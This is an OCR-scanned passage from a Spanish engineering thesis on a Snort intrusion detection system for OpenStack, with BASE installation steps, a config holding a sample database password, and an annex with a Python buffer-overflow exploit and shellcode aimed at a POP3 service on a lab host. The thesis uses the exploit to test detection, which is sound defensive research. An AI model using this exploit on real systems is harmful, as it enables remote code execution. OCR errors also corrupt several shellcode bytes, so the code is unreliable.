wget http://sourceforge.net/projects/secureideas/files/BASE/base-1.4.5/base-1.4.5.tar.gz
tar xzvf base-1.4.5.tar.gz

sudo mv base-1.4.5 /var/www/html/base/

cd /var/www/html/base

sudo cp base_conf.php.dist base_conf.php
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Figura 4. Descarga e instalacion de BASE

Realizado por: Cristian Mifio, 2020

Una vez instalado la aplicacion BASE, se cambia los parametros de conexion a la base de
datos, como se muestra en la Figura 4 y se reinicia el servicio, como se muestra en la Figura

5.

1 sudo nano /var/www/html/base/base_conf.php
2 #parametros a modificar

3 $BASE_urlpath = '/base';

4 $DBlib_path = '/var/adodb/';

5 $alert_dbname = 'snort';

6 $alert_host = 'localhost';

7 $alert_port = '';

8 $alert_user = 'snort';

9

$alert_password= 'p.123456';
10 $graph_font_name = "";
Figura 5. Configuracion de BASE

Realizado por: Cristian Mifio, 2020



1 sudo chown -R www-data:www—-data /var/www/html/base
2 sudo chmod o-r /var/www/html/base/base_conf.php
3 sudo service apache2 restart

Fi;gura 6. Permisos y reinicio del sistema BASE

Realizado por: Cristian Mifio, 2020



ANEXO E. Script para el ataque Buffer Overflow

@File: script.py
@Author: Cristian Mino <cristian.mino@icloud.com>

Copyright 2018 - 2020 ONIM
from pwn import *

from time import sleep

# parametros de conexion

HOST,PORT = "10.0.2.210",110

#EIP 39694438

#shel code

shellcode
("\xbf\x01\x1f\x91\x91\xda\xc1\xd9\x74\x24\xf4\x5a\x31\xc9\xb1"
"\x52\x31\x7a\x12\x03\x7a\x12\x83\xeb\xe3\x73\x64\x17\xf3\xf6"
"\x87\xe7\x04\x97\x0e\x02\x35\x97\x75\x47\x66\x27\xfd\x05\x8b"
"\xcc\x53\xbd\x18\xa0\x7b\xb2\xa9\x0f\x5a\xfd\x2a\x23\x9e\x9c"
"\xa8\x3e\xf3\x7e\x90\xfo\x06\x7f\xd5\xed\xeb\x2d\x8e\x7a\x59"
"\xc1\xbb\x37\x62\x6a\xf7\xd6\xe2\x8f\x40\xd8\xc3\xle\xda\x83"
"\xc3\xal\x0f\xb8\x4d\xb9\x4c\x85\x04\x32\xa6\x71\x97\x92\xf6"
"\x7a\x34\xdb\x36\x89\x44\x1c\xf0\x72\x33\x54\x02\x0e\x44\xa3"
"\x78\xd4\xc1\x37\xda\x9f\x72\x93\xda\x4c\xe4\x50\xdo\x39\x62"
"\x3e\xf5\xbc\xa7\x35\x01\x34\x46\x99\x83\x0e\x6d\x3d\xcf\xd5"
"\x0c\x64\xb5\xb8\x31\x76\x16\x64\x94\xfd\xbb\x71\xa5\x5c\xd4"
"\xb6\x84\x5e\x24\xd1\x9f\x2d\x16\x7e\x34\xb9\x1a\xf7\x92\x3e"
"\x5c\x22\x62\xd0\xa3\xcd\x93\xf9\x67\x99\xc3\x91\x4e\xa2\x8f"
"\x61\x6e\x77\x1f\x31\xc0\x28\xed\xel\xa0\x98\x88\xeb\x2e\xc6"
"\xa9\x14\xe5\x6F\x43\xef\x6e\x9a\x94\xed\xbe\xf2\x96\xf1\x3f"
"\xb8\x1e\x17\x55\xae\x76\x80\xc2\x57\xd3\x5a\x72\x97\xc9\x27"
"\xb4\x13\xfe\xd8\x7b\xd4\x8b\xca\xec\x14\xc6\xbd\xbb\x2b\xfc"
"\xdc\x20\xb9\x9b\x1c\x2e\xa2\x33\x4b\x67\x14\x4a\x19\x95\x0f"
"\xe4\x3F\x64\xcO\xcF\xFb\xb3\x2a\xd1\x02\x31\x16\xf5\x14\x8F"
"\x97\xb1\x40\x5Ff\xce\x6T\x3e\x19\xb8\xc1\xe8\xf3\x17\x88\x7c"



"\x85\x5b\x0b\xfa\x8a\xb1l\xfd\xe2\x3b\x6c\xb8\x1d\xf3\xf8\x4c"
"\x66\xe9\x98\xb3\xbd\xa9\xa9\xf9\x9f\x98\x21\xa4\x4a\x99\x2f"
"\x57\xal\xde\x49\xd4\x43\x9f \xad\xc4\x26\x9a\xea\x42\xdb\xd6"
"\x63\x27\xdb\x45\x83\x62")

# conexion al servidor vulnerable

r = remote(HOST,PORT)

print(r.recvline(timeout=10))

for n in range(1,100):

# ejecucion del ataque

fuzz = 'A' * 2606 + '\x8f\x35\x4a\x5f' + '\x90' * 16 +
shellcode
print("[+] Enviando PASS de " + str(len(fuzz)) + "

caracteres")
r.sendline("USER test")
r.recvline(timeout=10)
r.sendline("PASS "+fuzz)
sleep(2)



RESUMEN

En este trabajo se disefié un sistema de seguridad de deteccion de intrusos (IDS) orientado a analizar
el tréfico de la red externa de una plataforma OpenStack y se analizaron dos formas o escenarios de
implementacion; la primera, consiste en la implementacion en una instancia de maquina virtual en la
plataforma OpenStack, mientras que la segunda forma se implement6 directamente en el nodo de
control. Se realizaron tres tipos de ataques para poner a prueba las instalaciones: denegacion de
servicio, SQL Injection y buffer Overflow, siendo la denegacién de servicio el ataque con mayor
influencia en el andlisis. El sistema de deteccidn de intrusos utilizado fue Snort esto en base al analisis
realizado entre los diferentes sistemas, de igual manera se analizd las caracteristicas de las
plataformas de nubes privadas, teniendo como resultado que OpenStack es la plataforma idénea para
el presente trabajo. Como resultado se obtuvo que el disefio del sistema de deteccidn de intrusos en
el escenario del nodo de control resulté ser mas eficiente, llegando a un porcentaje de eficiencia de
99,96% con 50 mil paquetes por segundo, en comparacion con el escenario virtualizado, que, con la
misma cantidad de paqguetes llego al 21,39%. Se concluy6 que la diferencia en la implementacion
consistio en la ubicacion y la forma en que se analiza el trafico de red. Siendo el escenario del nodo

de control mas eficiente y recomendado para el andlisis de trafico externo.

Palabras clave: <TECNOLOGIA Y CIENCAS DE LA INGENIERIA>, <SEGURIDAD
TELEMATICA>, <SISTEMA DE DETECCION DE INSTRUSOS (IDS)>, <COMPUTACION EN
LA NUBE >, <ATAQUES INFORMATICOS>.
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